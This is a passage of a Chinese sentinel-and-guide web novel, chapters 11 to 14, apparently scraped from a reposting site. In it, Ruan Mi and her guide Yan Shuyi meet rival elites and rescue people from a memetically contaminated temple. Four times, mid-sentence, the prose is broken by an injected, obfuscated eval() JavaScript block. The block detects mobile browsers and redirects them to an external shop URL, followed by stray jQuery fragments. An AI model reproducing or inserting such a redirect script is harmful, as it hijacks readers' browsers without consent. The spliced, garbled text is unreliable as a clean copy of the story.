云芷?阮弥记得这是索兰王储的名字,原来她就是索兰新诞生的特级向导,也难怪刚才那些人说这是什么特级会议,全索兰的三个特级全在这里,前所未有的齐聚一堂。 思绪稍纵即逝,阮弥不会也不打算迁怒于她:“没关系,这又不是你的错,是顾辞晏他脑子有问题。” 很早之前阮弥就真心实意地建议过顾辞晏去看看医生,她给他们每个人的建议都是如此。 在云芷过来的那一刻,言述一拉着阮弥的手又收紧了些,阮弥想起阮女士的话还有云芷同为特级向导的身份,她不着痕迹地拍了拍他的手背以示安抚。 云芷似乎还想说什么,有些犹豫没有开口,正当阮弥打算找理由离开,一只手按住她的肩头。 “哟,这不是阮弥吗?一向不见真成哨兵了?” 略微沙哑的声音响起,阮弥知道是谁,她侧头看向来人笑着调侃:“是啊,戎婵,你保不住你在哨兵榜的第一了。” 戎婵肆无忌惮地大笑两声,走到云芷身旁站定:“能和你比上一比也算是我的荣幸了。” 四人两两相对,戎婵不来不要紧,阮弥察觉到对面二人身上微弱的精神联系,眉头微微蹙起。 “你在和云芷搭档?你的向导呢?” 戎婵和她的向导在所有人眼中都是一段佳话,他们从年少时相爱,早早就确定心意,戎婵性格粗犷从不注重仪式和外在,但他们甚至在这个结婚率屡创新低的时代特意去领了结婚证。 少有的几次接触,阮弥都能从他们身上感受到对彼此快要溢出的爱意。 “他死了。” 戎婵面上云淡风轻,阮弥却见到她眼中的光彩明显灰暗和低沉许多。 “圣所定性为意外。” 毫无起伏的语调,却让人感到寒意。 “……抱歉,节哀。” “没事,我很高兴你还能记得他。”提起自己的向导,戎婵再冷硬的面容也会稍许柔和一些。 没等她们再说些什么,远处的公会工作人员就急急赶来,在人群中慌忙找到阮弥的位置后就朝她奔来,像是有什么天大的事。 “阮弥女士,圣所的长老们有要事找您。” 如此粗糙的借口不由得让阮弥和戎婵对视一眼,脸上挂起同样讽刺的笑。 这里有三个特级,再加上被誉为最接近特级的戎婵,圣所那些早该去死的老家伙是真的很着急啊。 酝酿许久的云芷也在这时叫住阮弥。 “阮弥女士,请等一下,虽然这样好像有些冒昧但是我可以和你加一下终端好友吗?如果顾辞晏再来打扰你麻烦你告诉我。”她会去解决他。 合情合理的请求让人难以拒绝,阮弥抬起终端说道:“叫我阮弥就可以。” “好,再见。” 云芷微笑着和阮弥告别,同时对言述一颔首,她走到一旁一把抓过顾辞晏的领子走掉,戎婵也朝阮弥挥了挥手后转身离开。 留在原地的阮弥,没打算跟着工作人员去面见长老。 她找到终端里被自己屏蔽的群聊,当着身旁两人的面发出一段消息:“要甩什么烂摊子现在就发在大厅任务栏上,我不想见到你们更没空听你们毫无价值的长篇大论。” 转头对工作人员解释:“我还有事要忙就不过去了,要是他们为难你,你就告诉我。” “好,好的。”为了让对方安心阮弥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546840|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还添加临时通信,看着两人远去的背影这人心想:阮弥女士好像也没传闻中那么恐怖和不近人情吧? 先前还位于外部,深入其中就会发现空间越发宽阔,中间有巨大的屏幕分布任务,人群散落四处,大部分人身上都穿着象征公会的白蓝制服。 “这里可真大啊,执行任务时我也要穿那样的制服吗?”言述一佯装好奇地询问。 “可以自由选择没有强制要求,特制的制服有一定防护作用,有些时候也是一种象征,有些任务需要这种象征,有些不用。” 二人看似是在有一句没一句地聊着天,选着任务,实际上在进行他人无法察觉的精神沟通。 “那位哨兵身上,有一股潜藏的恨意。”一部分在恨她自己,另一部分,则是针对刻意提及的圣所。 言述一其实更在意加上阮弥好友的云芷,出于本心而言他一点也不想让阮弥和云芷有接触,可他也分得清轻重缓急。 刚才遇到的人中,顾辞晏不知是有意还是无意表现得像个疯子,云芷和戎婵却充满温和,云芷更像是有意和阮弥接触想建立一个还不错的印象。 “顾辞晏确确实实是个疯子,不用管他。”至于后半段分析,阮弥和言述一是同样的想法。 “在圣所看来,我和你都是他们的棋子,云芷代表索兰皇室,戎婵则向来不愿意听从圣所吩咐,她们和我们接触是圣所当然不愿意看到。” 他们不想见到的事,就是她要做的。 聊到这里阮弥忽然想到,言述一和自己待在一块可能会遇到很多危险,就像戎婵……即便不知道真正的原因,但悲剧的酿成和圣所脱不了关系。 阮弥也有想过给言述一选择,他可以离开也可以留下,可她也许下过诺言会帮助言述一不陷入沉睡。 遇到危险不是他的问题,也不是她的,是圣所那些老东西的错,没保护好言述一才是她的失职。 “云芷是皇室的人啊……”言述一完全不知道,他只隐隐约约记得云是索兰皇室的姓氏,想着想着焦虑又加深不少。 “她还是王储,不过感觉还挺平易近人的。”和顾辞晏那种趾高气扬的皇亲国戚完全不一样。 听着阮弥的描述言述一不由得心想,如果那天自己再晚一点醒来,说不定先一步稳定阮弥的人就是云芷。 一想到这种可能性他的心口就像是被无形的手紧紧攥住,难以呼吸。 “如果……” 阮弥直觉不妙,她本能地想起在自己向导面前提别的向导完完全全就是个错误的话题。 她脑海中一瞬闪过很多思绪,她是察觉到了言述一的情绪,但她要不要去安抚?这是否会给言述一她值得信任的错觉?这是有必要的吗?她应该去做吗?会不会是她自作多情? 最后,阮弥想起自己和阮怀清女士的约定:遵从你内心的感受。 她扣住言述一的手心,看向他那双眼帘低垂,布满不安的幽紫色双眼。 她说:“没有如果。” “真抱歉我不应该过多聊她,我和她以后也许会成为敌人也许会成为盟友,但现在,在我身边的人只会是你。” 阮弥说不出那种永远都只会是你的大话。 谁又能保证未来会发生什么呢?她只知道在言述一做出自己的选择之前,她会遵守她的诺言。 12. 第 12 章 言述一永远不会忘记见到阮弥的第一眼,他的心跳早已不由自主地加快,脑海中有声音在呐喊: 是她。 他命中注定的一切。 在此之前,言述一从没有和阮弥见过面,他却有着无法言明仿若刻在灵魂中的熟稔 玄凤说他是对阮弥一见钟情,言述一自己却不那么认为。他总觉得,在没有见面之前他与她之间就有所牵绊,他更愿意认为这是注定的命运,他们一定会相遇。 在精神结合稳定阮弥的情况后,他就日日守在她的身旁,满怀期待地等待她醒来的一天。 那段只有彼此的时光是言述一生命中难得的璀璨记忆。 只是,从那天他收到一条怀揣恶意的信息后,平静被打破了。 “别以为自己和阮弥精神结合就高枕无忧了,你不过是只被圣所圈养的金丝雀而已,她才不会爱上你,更不可能选择你,别白日做梦妄想自己能留在她的身边,你才不配。” 言述一的指尖不知何时已经攥紧掌心,他目光冰冷,稍加思索后没有选择删掉这碍眼的字句。 这也让他迟迟意识到,阮弥和自己不同。阮弥生活在塔外更加广阔的世界,她结识过许多人,拥有过更多东西,而言述一自己,则是塔的囚徒。 他所珍视之物,是否只是她眼中的草木? 那时的言述一被慌乱和恐惧席卷,在确认这些哨兵早就被阮弥厌弃后,威胁也就不复存在。他不止一次轻松地想到:这些人再不甘心又能如何?他们只是哨兵而已,还是一群阮弥根本不会喜欢的哨兵。 可是,在见到朝阮弥走来的云芷后,那些被弃置的疑问又不受控制地从言述一心底冒出: 如果阮弥遇到了其他向导呢?和他一样的特级,比他家世显赫,又和阮弥一样生活在外界各方各面都比他更好的向导。 忧虑如同疯长的杂草,占据他的脑海,侵蚀他的理智。 怎么办?他该怎么办?他拥有什么?他能做什么?他要怎么做?去使用力量?精神力是他唯一拥有的力量。 他又该对谁使用? 言述一不是什么对自己有高要求的正人君子,他第一反应就是可以操控阮弥的思想和情感,让阮弥对他死心塌地。 只不过这一想法很快就遭到他自己的否定。 直觉告诉他,这么做绝对会被阮弥讨厌。只要不被发现事情就不会败露?但言述一没办法接受自己被阮弥讨厌的可能性,哪怕只有千万分之一。 那就杀掉云芷好了。 只要她从这个世界消失,自然也就没有替代他的可能。言述一很清楚,自己想要待在阮弥身边,无论如何,他不会让任何人夺走。 杀死一个王储同样拥有极高的风险,他不害怕承担,他担心的是,阮弥会怎么想? 脑海中复杂混乱的思绪化作无休止的线条缠绕上言述一,死死勒住他的身、心,以及摇摇欲坠的理智,就连呼吸都变得困难。 “如果……” 他想问阮弥,想把那些快要将他扯碎的担忧诉之于口,如果不是他,如果他杀了人…… 他还能在她的身边吗? 言述一听见阮弥的声音:“没有如果。” 坚定不容置疑的话语将言述一唤回,那双澄澈明亮的碧蓝双眼将他心底所有的不堪和恐惧全部驱散,让他重获宁静。 彼此紧扣的手心传递来点点温度,驱散先前浑身刺骨的寒意,将结成的冰锥化作水。 “我……我难过得很明显吗?”言述一目光忽的有些闪躲。 犹疑片刻后阮弥佯装认真,缓缓点头:“有些。” 那一瞬间言述一给她感觉就像是被风扑灭的火焰,有点可怜。她想,自己不能做无情的风,她希望火光永远摇曳。 从塔离开后,阮弥就察觉到言述一一直有些不安,他没有安全感。 安全感啊……阮弥的思绪飘回还在圣所读书的时光,挽起长发的老师朝阮弥微笑,连同她温柔的言语浮现脑海。 “最后一节课,我们来谈论爱。” “在如今的时代哨兵和向导之间不再是常规一对一的连接,比起相依为命的伴侣我想现在的情形更应当算得上是战友和同伴,这并不代表爱就不复存在。” “有的人将爱视作救赎,有的毕生都在追求爱,有些则对爱嗤之以鼻。没有人能够说清楚爱究竟是什么,更没办法给出具体定义,也没有法律法规有人要求亲人伴侣之间就必须拥有爱。” “我认为爱是难以言明的奇迹,拥有千千万万种外在体现。” “希望在清楚你们各自心目中的爱究竟为何种模样前,你们能够对自己的伴侣负起应有的责任。” 给予对方足够的安全感就是其中之一。 将言述一闪烁的目光尽收眼底,阮弥没有维持自己严肃正经的假象太久,眼看言述一被羞愧折腾得不知如何是好,她眉眼稍弯轻笑出声。 阮弥上前半步,抱住被情绪反复折磨的言述一。 给予对方安全感要做些什么?老师没教过,阮弥自己也不知道,她只是忽然间想起那天夜晚的拥抱。 无言相拥一会,言述一主动放开了阮弥。他是很想黏着阮弥啦,只可惜现在不在家里,有好多人,他不太喜欢。 “我们……我们去做任务吧。”做完就可以早些回去了。 他没松开手,阮弥也就任由:“好啊。” 拥有圣城瑟瑞姆的瑟拉瑞斯基础建设是索兰的第一梯队,公会总部内有许多定向传送圆台,无形的通路遍布整颗星球。 前一秒见到的还是无尽黑暗的宇宙星光,下一秒就来到山丘之上。 遮天蔽日的大树屹立在不远处,从山野间吹来的风扬起被绑在树枝上的红绸飘带,言述一拨开自己的发丝,见到路牌上标识这里是圣奎姆郊外寺庙。 “建筑风格好古老啊。”不论是地砖上细小的缺口还是失去光泽有些暗沉的圆柱,经年累月却不显破败。 “是刻意保留下来的,这里的僧人好像是在追求什么返璞归真。”阮弥记不太清。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546841|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “是返本还原,阮弥施主。” 平静又略带机械感的女音传来,视线一转,一位僧人身穿深灰长袍出现在二人面前,如同电流脉络的袈裟覆盖其上,一同引人注目的还有她裸露外在太过苍白的皮肤,以及藏在眼眶中的翠绿眼眸。 “镜明法师,别来无恙。”阮弥回应的间隙还用精神力和言述一解释:“她是位德高望重的智械僧人。” 她们互相还算认识,更多时候是间接接触,巫蔓菁负责的基金会常来这里捐赠。 “最初的异常始于一个月前,有位信徒和我倾诉说,她觉得庙里让她有些心慌。后来,各种各样奇怪的事情发生,不少僧人诵错经文,不论是小住的施主还是僧人都有深夜梦魇的情况,还有少部分突然之间下落不明。” 穿行小径,镜明引领阮弥二人来到一处略显空寂寺院:“一个星期前,住持也昏迷过去,至今未醒。” “我听从圣所的建议,停止开放,让僧人们暂时离开。” 难怪一路没有任何人的踪迹,镜明侧身推开门扉示意,阮弥跨入室内就见到昏迷不醒的住持,他是人类,脑袋上有一个明显的脑机接口。 “之前来的向导和哨兵如今也无处寻觅,圣所派人来探查也没有收获,就提升任务等级,直至等到了您。” “在我们之前还有别的人来过这里?”阮弥蹙眉,任务简报上没有一处提到。 “对,是一位女性向导和三位男性哨兵,我和他们三日前见过,直到今天都没有任何音讯。”镜明的无机躯壳没法表露神态,可阮弥总觉得,她似乎是在悲伤。 无言之中阮弥铺开精神力,探查的同时在整座庙宇外围建起无形屏障,言述一则确认住持的精神状况。 这个任务就是圣所长老前不久甩下来的烂摊子,阮弥简单确认过任务简报上没有人员伤亡就没做什么准备和言述一直接过来,谁曾想有数十人失踪还包括向导和哨兵,她还是太高估那些老东西不要脸的程度。 “镜明法师,为了你的安全考虑,我建议你也暂时离开这里。” 她捕获到深处传来不寻常的精神力波动,根据过往经验来看,扭曲、不规则、不成形的精神力场都具有一定的污染特性,尤其对智械来说极具威胁。 “阮弥施主……除了这里,我无处可去。”那双翠绿的眼空空荡荡。 这个时代的智械诞生于一场意外,由于虫族的前车之鉴人类极力制止智械的数量增加,这就导致智械极为稀少,完全没有办法拥有一个属于它们的生存环境。 换言之,这里就是镜明拥有的一切。 思虑片刻后阮弥选择尊重她的意愿:“那就劳烦你待在房间内,不要随意走动,我会尽量避免你受到影响。” “多谢你,阮弥施主。” 她们交谈的同时言述一也得到结论,他看向阮弥,眼中有些许困惑:“阮弥,住持被模因污染了。” 作为住持在梦里念经诵文合情合理,言述一不明白的是,为什么他念着念着要抛出异常。 13. 第 13 章 相较于向导,哨兵更侧重于现实感知,精神层面的力量有些薄弱贸然进入他人精神称得上危险,更何况是被污染的精神。 阮弥没有多想,她侧身牵上言述一的手就闭眼探查住持的精神状况。 无数经文涌入她的脑海,一开始她还以为住持是太过虔诚,直到仔细辨别其中的语句:“色即是空,空即是null……错误、错误,万事万物永世不灭,我主慈悲,抛出异常……轮、轮回……” 她睁开眼,里面是明晃晃的不解:这还是正经教派吗? 一旁静静注视阮弥一举一动的言述一扬起笑:“住持他真心可鉴啊。” “谁能说不是呢……”阮弥无奈回应。 不知晓具体情况的镜明机械指节手中不断盘着佛珠,声调少见有些不稳:“请问住持他怎么样了?” “没有大碍。”被污染后失去醒来的本能在梦境迷失,没有严重到无法挽救的地步,还有余力念叨其他不知道什么流派的神明大人呢。 安置好镜明,阮弥和言述一来到有所异常的别院。 望着青瓦白墙下略有腐朽的红木大门,微风都变得冷冽,言述一直觉不妙,皱眉道:“好阴森的感觉。” “这是污染精神力场的特点之一。”阮弥语调波澜不惊,上前推开大门,“在寺庙这样聚集特殊信仰的地方会更容易发生异变。” “应该不会存在什么想要毁灭世界的邪神吧?”言述一紧随其后,他并不是感到恐惧,只是有所好奇。 “理论上来说,不会有这样的可能。很多案例也表明模因篡改和污染的只有精神认知,没有任何生理结构有所变化。” 两人有一句没一句闲聊,用精神力将周围区域封闭隔绝,以及获取更为详细的情况。 “包括向导和哨兵在内有十四个人在里面,状态都不是很好。”玄凤落在言述一肩头,也经由他自己的感知确认无误。 “有人质啊……”束好头发的阮弥望着不远处紧闭的门扉思考起应对策略。 微弱的呼吸声分布在各处不便于保护和救出,目前尚未知晓污染源头,贸然闯入极有可能会加深精神污染,轻则疯魔重则死亡,精神脆若游丝,就算她和小鲸一起行动也不能保证能在污染加重前救出所有人。 污染精神力场中非必要最好不要外溢精神力,身为向导,言述一的能力会被严重限制…… 唤起终端联系公会后勤,在发送信息的前一秒,阮弥看向言述一。 “稍微有点麻烦,救人时需要有人去吸引污染源的注意,污染源无影无形,没有生命迹象和思考逻辑,拥有汲取精神力的本能。破坏污染源则需要找到污染源头,源头是实体,我会在救出所有人后寻找并破坏。” “会有危险,失败了也有办法补救,你想试试看吗?” “我想。”几乎没有任何犹豫和思考,言述一直接就应下。比起尝试救人和面对污染源,他更想和愿意去做的是帮上阮弥。 听见言述一的答复,阮弥浅笑道:“等后勤小组到再开始行动,在那之前,我们来临时训练吧。” “好啊好啊。” 被隔绝的空间无法感知到外界变化,荒凉空旷的院子中阮弥的声音回荡:“圣所一定教过你人类的精神力是如何分布又该如何感知,他们有告诉过你怎么处理污染精神力场吗?” 认真听讲的言述一摇头:“没有。”圣所只在乎他的能力可以对人做些什么。 意料之中的回应,时间也不足以让阮弥从最基础的原理讲起,她言简意赅:“污染源和人类精神力不同的点就在于,污染源是分散不成型的精神力,人类的精神力是聚集的烛火,污染源则是细碎的光点。” “吸引注意要用精神力将所有的碎片连接再聚拢,污染源精神力分布状况无法预测,有些很少,有些则过于细碎,太碎的无法连接,就需要打捞聚集。” “我会模拟污染源的精神力分布,接下来,你来尝试吸引我的注意。” 阮弥背手立于言述一面前。 倒映于那双碧蓝眼眸中,言述一知晓训练已经开始,他闭上眼,调动精神力开始搜寻和感知。 和紧闭大门中散发危险不祥气息的污染精神力场相比,阮弥模拟的精神力只是分布类似,没有任何阴冷甚至算得上柔和,以至于言述一本能地想要触碰更多,在成功聚集阮弥注意力之前他已先一步坠入。 他没有停下动作,按照阮弥所说的那样收集聚拢,言述一记得这是时间紧迫的训练,即便他无比迫切地想要再多停留一会。 捕获完阮弥拟出的精神力,他重新睁开眼,却发现阮弥的神情和先前天差地别,那双眼眸中依旧倒映着自己,除此之外空无一物。 前所未有的危机感让言述一有那么一瞬间毛骨悚然,他明白自己成了被盯上的猎物。 这也不错不是吗? 这样的状态只持续数秒,阮弥收回自己发散的精神力,压迫悄然褪去一切回归往常。 见此,言述一喜笑颜开道:“我成功了。” “是啊,你做得很好。”阮弥也毫不吝啬地给予夸奖,她很清楚自己的训练并不是毫无难度,言述一的成功也让她放心许多。 时机恰好,从公会赶来的后勤小组也已经抵达:“阮弥女士。” 转身看向他们的阮弥简单点头回应:“里面有十位普通民众,一位向导,三位哨兵,至少三四天没有进食,有一定程度模因污染,准备好防护和救援措施。” “是。”后勤小组就地搭建起各项设备。 “我们走吧。”一切准备就绪,阮弥走到言述一身边,她的步伐没有停下,“如果出现预料之外的情况,你记得优先保护好自己。” “好。”言述一应下,推开沉重的大门。 朝外涌出的阴冷感似是要浸入骨髓,言述一没顾得上过多在意,立即开始按照阮弥教导的那样开始捕获污染源的注意。 比起先前阮弥的测试还简单不少,他甚至有余力比较和感知其他人。 属于人类精神力的火光一个个消失在室内,昭示阮弥在同一时刻开始救援,他却没有感知到属于阮弥的一分一毫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546842|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她能完全隐藏起自己的精神力,他完全没办法察觉,真厉害呢。 心生赞叹的同时,言述一有些难言的焦躁,他不知道是因为无止境的等待,还是因为无法感受到阮弥的存在。 一开始的光点都消失很快,没有遇到什么阻碍,到了最后一人却停留了很久。 看不见周围情况的言述一有些担忧,会不会是在自己没注意的时候让阮弥的行动出现阻碍。 刺骨寒凉不断加重,是污染源在缓慢靠近,言述一眉头微皱身体稍稍后倾,本能在抗拒和污染源的距离拉近。 好恶心,好想反击。 他是可以轻而易举地胜过污染源本身,在不考虑影响其他人的情况下,阮弥也是如此。可她在这里消耗这么多的时间,就是为了完好无损地救出那些人。 善良?阮弥会更喜欢善良的人吗?比起作恶多端,大概会有所偏爱吧?言述一想不出一个准确的答案。 要是污染源快要碰到自己,就动手吧,阮弥也说过要保护好自己。 退无可退的刹那言述一睁开眼,映入眼帘的却是阮弥略显漠然的侧颜。这大概就是阮弥执行任务的常态吧,言述一莫名想到。 一触即发,平静的假象被彻底打碎,阮弥揽住他向后,将妄图蔓延的污染源困住。 感受到言述一的视线,她稍稍侧过,展出略带歉意的笑:“有一个我处理不了的向导,打捞意识不是我的强项,帮帮我吧。” 脱离影响范围,小鲸将陷入昏迷的向导带到,阮弥接住的同时言述一就开始分离污染唤醒意识。 “好了。”不过片刻,那人悠悠转醒,他立刻告知还在控制污染源的阮弥。闻声阮弥折断手中作为污染源头的脑机芯片,连同混乱驳杂的污染源一并捏碎。 收工。 她想扶起那位向导,手上却炸开一点水滴,那是眼泪。脑海闪过这一念头,先前还游刃有余的阮弥有一瞬间的慌乱,她俯身轻拍对方:“已经没事了,别怕。” 听见阮弥的声音,刚从无尽噩梦中醒来的向导更加无法抑制自己的情绪。 一时无法脱身的阮弥只好尽量安抚。 见此情形,站在一旁的言述一幽怨得快要溢出来。他的精神力蔓延到其他三个早就被救出但还在昏迷的哨兵,三下五除二清除污染强行唤醒。 捂住头痛欲裂的脑袋,醒来的哨兵看向自家向导所在的地方,看见对方平安无事先是松了口气。 还没等缓一缓,就发觉正在安慰自家向导的人是阮弥。 ……是阮弥! 在索兰所有向导和哨兵的眼中阮弥都是极为特殊的存在,从前是总榜第一的特级向导,前不久又成为三大星系唯一的特级哨兵,这可是特级哨兵啊! 心中的震惊还没有结束,这人又感受到一股极为强烈的目光。 那是一个他们从未见过的向导,即便不知道对方的姓名和身份,可他和阮弥在精神力上有所连接,一看就知道是阮弥如今的向导。 坏了。 “快把以晴带走!!!” 14. 第 14 章 情绪渐渐稳定下来的向导也意识到现状有些不妥,擦掉眼泪和阮弥道谢。 “谢谢您,阮弥女士。都是我太弱,给你们增加了麻烦……” “怎么会呢?要不是你,那些人说不定已经被彻底污染救不回来了。”一位初出茅庐的向导能做到如此已经是勇气可嘉,阮弥将她扶起轻声安慰:“不用愧疚,回去好好休息吧。” 她重重点头,身后也传来其他人担忧地问询:“以晴!以晴!你没事吧?” 将空间留给他们彼此,阮弥悄然离开,见言述一站在远离人群的角落背对着他,她走到言述一身边探出脑袋:“怎么了?” “我没有在吃醋。” “真的吗?”阮弥伸手抚上言述一的脸颊,看着幽紫双眸泛起涟漪。 原先抱着手臂此地无银三百两的言述一抓住阮弥的手背,又是幽怨又是委屈道:“假的。” 没等阮弥说什么,他就上前拥住她,把头埋在她的颈窝,颇有几分不管不顾的意味。拥抱在加深,比往日低沉的声音夹杂温热吐息在阮弥耳边响起:“我知道我是在无理取闹……我只是,有些难受。” 他很清楚这不是阮弥主观意愿,只是个意外,那位向导刚经历九死一生的困境,情绪波动在情理之中。 就连云芷也一样,对方大概率想和阮弥交好,并不会发生他预想中最坏的情况,他依然会在阮弥身边,现在也一样。 只是,知道和做得到是两回事,言述一甚至分不清自己的情感是真心实意还是他想要在阮弥面前表演。 如今的一切来得太过容易,太过飘渺,仿佛一戳就破的美梦。他偶尔沉溺其中,更多时候浸没于焦虑。 难言的思绪拨弄情感,在言述一考虑自己太过得寸进尺是否会招致阮弥厌恶的同时,想要索求的本能在叫嚣,他迫切地需要一个拥抱来证明,他仍在阮弥身旁。 “是不是我太敏感了……”他的声音越来越小,微不可闻。 “才不是。”阮弥没有中止这个拥抱,微凉柔软的发丝穿插在她的指缝之中,“我很高兴你能和我说这些。” 理性层面而言,面对一个毫无交集的向导她都会耐心安慰,言述一身为她的向导更不能置之不理。真切的感受反而先理性一步,阮弥并不排斥和言述一拥抱。 未来无法精准预测,言语不会瞬间化作真实,唯有此刻能够锚定。 “我们述一第一次出任务就很厉害呢,这里的事情结束了,我们去逛一逛再回家,好不好?” “好……”言述一恋恋不舍地离开,结束这个拥抱,“不需要做其他任务吗?” 即便不再拥抱阮弥也依旧握紧他的手,她牵起他就迈步离开:“不做了,任务是做不完的,要是有什么非得我们去做的任务他们自己会找上门。” 注视相连的掌心,拥抱的温度也还未消散,言述一心中的焦虑像是被暖风吹散。 他能做的就是感受并铭记此刻。 前往传送站点的途中,阮弥二人远远地看到镜明,公会后勤人员在和她沟通相关事宜,她身旁还站着一个熟悉的身影,巫蔓菁。 巫蔓菁自然也看见阮弥,以及两人紧紧相扣的手。她收回视线,展开折扇悠悠扇动遮住上翘的嘴角。 对此阮弥目不斜视镇定自若,想都不用想,巫蔓菁肯定在揶揄自己。 “阮弥施主,真是多谢你们了。”镜明机械平缓的语调中流露出几分真心实意的感激。 “不必客气,这是我们应该做的。”阮弥见到镜明手上提着布包,一般来说这是要出门的准备,“镜明法师这是要去哪?” “我的友人邀约我去看看孩子们。”镜明口中的友人就是巫蔓菁,她们二人长久以来都在救助无处可去的孩童,也因此相识。 住持醒来后被公会控制关押,他承认自己犯下过错却毫无负担地将罪恶的源头归咎于镜明身上:“她身为智械,能够更换部件,不死不灭……和这样如同怪物的家伙一直待在一起,谁能受得了!” 所幸巫蔓菁恰好赶到,她听见庙中变故本就打算带走镜明,只是前段时间有事要忙脱不开身。 “想必那些孩子应该也很想见到你,祝你们此行愉快。” 碧绿瞳孔有少许颤动,镜明脸上绽出略有僵硬却真心实意的笑:“谢谢。” 还没走多远,阮弥就听见身后传来巫蔓菁肆无忌惮的调侃:“感情还真好啊……”她加快步伐带着言述一匆匆离开。 很少有人能让阮弥产生这么复杂情绪呢,言述一只觉有些新奇,即便如此,她也没有松开他的手分毫。 “阮弥和她们明面上没有联系吗?”从细枝末节中他得出这一结论。 “对,安安在管公司,蔓菁负责基金会。”身为特级阮弥一直都是众人眼中的靶子,圣所也视她为好用的棋子,如果她光明正大和她们有所联系绝对会被圣所和其他势力忌惮。 “今早没带你一起去是因为我有点不知道怎么和你介绍她们……”更多的是阮弥不知道怎么解释自己。 她不太愿意在言述一面前提起自己过去的“光辉事迹”。 “没关系的。”言述一浅笑回应,他会等待阮弥愿意的那天。 飞鸟划过蔚蓝天空,日光从错落的枝叶中洒下,相伴的两人踏上林荫小路。阮弥思索好接下来的目的地后,偏头询问言述一:“时间还早,我们要不要去坐观景列车?” 特地开通的专线景象自然无可挑剔,坐在阮弥身旁的言述一却止不住的困倦。 肩上传来触感,意识到言述一睡着的同时阮弥就展开精神力,在四周围成一道无形的屏障隔绝杂音。 “抱歉阮弥,昨天晚上他就有点没休息好。”玄凤落在阮弥的另一边肩膀解释道,见此情形小鲸也出现窝在阮弥膝上占据一席。 稍微活动手腕盘着小鲸,阮弥也给予玄凤回应:“没事的,不用和我道歉,没察觉到他很累我也有很大一部分责任。” 就算玄凤没说阮弥也能感受到言述一今天的状态有些不太对劲。 今天是她将言述一从高塔中带出来的第二天,短短两天他就经历了很多事情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549879|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这对阮弥自己而言是习以为常,但对言述一来说恰恰相反。 与过往完全不同的环境和生活方式足以让他心力交瘁。 向导往往被要求安抚哨兵,从精神空间上来说向导的确相较于哨兵更加稳定一些,可这并不能让向导在每一个时刻都泰然自若。 阮弥是有让言述一选择,可那都是在她给出的选项中,她没注意到的地方言述一一直在勉强自己。 一个人的时候阮弥随心所欲惯了,和言述一精神结合成为伴侣后,她才发觉无论怎么做都有无法尽善尽美的事,察觉不到的心绪永远存在。 小鲸甩了甩尾巴拍拍阮弥的手,像是在说不要自责。 她也明白,这是无可避免的局限。 从前阮弥做任何事都会在心底衡量是否值得,想起那些脑子不正常的家伙阮弥就会涌起烦躁,面对言述一却是泛滥着亏欠和怜惜。 不记得是谁说过,前面忘了,后面忘了,总之心疼向导你就完蛋了,她脑海中不由自主地蹦出: 阮弥,你完蛋了。 光线刺破云层,模模糊糊间,言述一意识到自己在做梦。没等他将梦的内容捞起,耳边传来的到站播报将他唤醒:“……即将抵达本次列车的终点站,森罗。请检查好随身物品……祝您拥有美好一天。” 诶?言述一猛然惊醒,他睡着了。 观景列车,但在做梦。言述一心生懊悔,明明是他自己答应好阮弥却睡了过去。 “还想逛逛吗?要是累的话我们可以随时回去,不用勉强自己。”发现言述一醒来阮弥轻声询问,“还有,不用和我道歉。” 打算说出口的话连同心底的歉意一同消散:“……只要能和阮弥一起,我都愿意。” “那就走吧。”她牵起他的手,笑逐颜开。 森罗作为索兰著名旅游度假城市,人流只比圣奎姆稍低。阮弥没带言述一直奔人群最多的热门景点,她来到这里是为了完成先前的承诺,要买棵树。 琳琅满目的品类中,几经商讨最后选择了蓝花楹。 在一处环境幽然的餐厅解决晚饭后,两人回家种树,等到庭院中自然飘落蓝紫色花瓣,月光也早已高挂枝头。 各自道别回房的前夕阮弥站在原地犹豫片刻,最终上前一步轻轻拥住言述一:“晚安。” 飘飘然的言述一全然忘记自己是怎么回到房间躺到床上,他无言注视空无一物的天花板雀跃得睡不着觉,因为一个意料之外的拥抱。 